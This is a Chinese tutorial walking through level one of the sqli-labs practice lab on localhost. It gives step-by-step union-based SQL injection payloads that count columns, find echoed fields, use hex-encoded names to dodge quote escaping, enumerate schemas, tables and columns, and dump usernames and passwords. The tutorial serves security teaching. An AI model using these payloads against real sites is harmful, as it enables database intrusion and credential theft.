1. 搭建靶场,进入第一关,靶场搭建可参照[sqli-labs 靶场搭建]
2. 正常 URL:
http://127.0.0.1/sqli/Less-1/?id=1
3. 检查是否有注入机会(加引号):
http://127.0.0.1/sqli/Less-1/?id=1'
(1) 查看页面是否会报 SQL 语法错误,若显示语法错误,则表示有注入的机会

--- 若存在注入机会,则可以通过下列方法捞出底层数据库中的表数据内容 ---
4. 查询当前使用的表有多少列:
http://127.0.0.1/sqli/Less-1/?id=1' order by 3 --+
(1) --+ 的作用是注释屏蔽后续的 SQL 语句(用于屏蔽开发者本意想要的 SQL 内容)
(2) order by 的用法是根据第 N 列排序,若报错提示第 N 列不存在,则说明表中没有第 N 列
(3) 通过是否存在第 N 列,可以找到该表总共有多少列


5. 查看哪些列可以回显:
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 --+
(1) union 的用法是取前表内容和后表内容的集合
(2) 此处通过改 id=-1 来使前表查询内容为空,进而结果只取后表内容
(3) 而后表是我们自己构造的 SQL,故通过构造一个和原数据表等列数的数据表,再根据页面回显的内容可以判断出前端页面取的是哪个列项的数据

6. 查看当前使用的数据库:
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,database() --+
(1) database() 的用法是返回当前使用的数据库名称
(2) 探查到前端取数逻辑后,就可以在其取数位置上做文章
(3) 这里我们让第 3 列的数据取 database()
(4) 那么页面回显的内容及当前使用的数据库名称

7. 查看数据库下所有表名:
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+
(1) 0x7365637572697479 为 security 的十六进制转换(转换原因:若是'security'也是可以查询的,但有时候单引号会被转义,故直接使用十六进制可以避免该情况)
(2) information_schema.tables 中存放着数据库中的所有表名
(3) group_concat() 的用法是拼接所有列项数据

8. 查看表下所有字段名:
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 --+
(1) 0x7365637572697479 为 security 的十六进制转换
(2) 0x7573657273 为 users 的十六进制转换
(3) information_schema.columns 中存放着数据库中所有列项名称

9. 查看表下所有用户和密码:
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(concat(username,'~',password)) from security.users --+

10. 此外,也可以查看所有的数据库名称:
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

网友评论